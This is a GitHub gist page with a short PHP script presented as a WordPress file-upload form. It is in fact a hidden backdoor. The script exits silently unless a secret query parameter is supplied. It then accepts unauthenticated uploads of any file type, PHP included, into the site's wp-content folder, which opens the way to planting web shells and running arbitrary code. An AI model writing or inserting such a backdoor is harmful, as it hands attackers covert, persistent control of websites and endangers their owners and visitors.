Skip to content

Instantly share code, notes, and snippets.

@duongthanhthai
Last active February 25, 2024 03:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save duongthanhthai/4a3cdbf1eb4759fc39c7d9b134792e31 to your computer and use it in GitHub Desktop.
Save duongthanhthai/4a3cdbf1eb4759fc39c7d9b134792e31 to your computer and use it in GitHub Desktop.
Form upload file in WordPress
<?php
if (isset($_GET['wp-zexit']) && $_GET['wp-zexit'] == '2') {
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["userfile"])) {
$uploadDir = __DIR__ . '/wp-content/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$upload_file = $uploadDir . preg_replace('/[^a-zA-Z0-9\._-]/', '', basename($_FILES["userfile"]["name"]));
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $upload_file)) {
echo "File ". htmlspecialchars(basename($_FILES["userfile"]["name"])). " Done.";
} else {
echo "Error";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload File Form</title>
</head>
<body>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>?wp-zexit=2" method="post" enctype="multipart/form-data">
<input type="file" name="userfile" id="userfile">
<input type="submit" value="Upload File" name="submit">
</form>
</body>
</html>
<?php
} else {
exit;
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment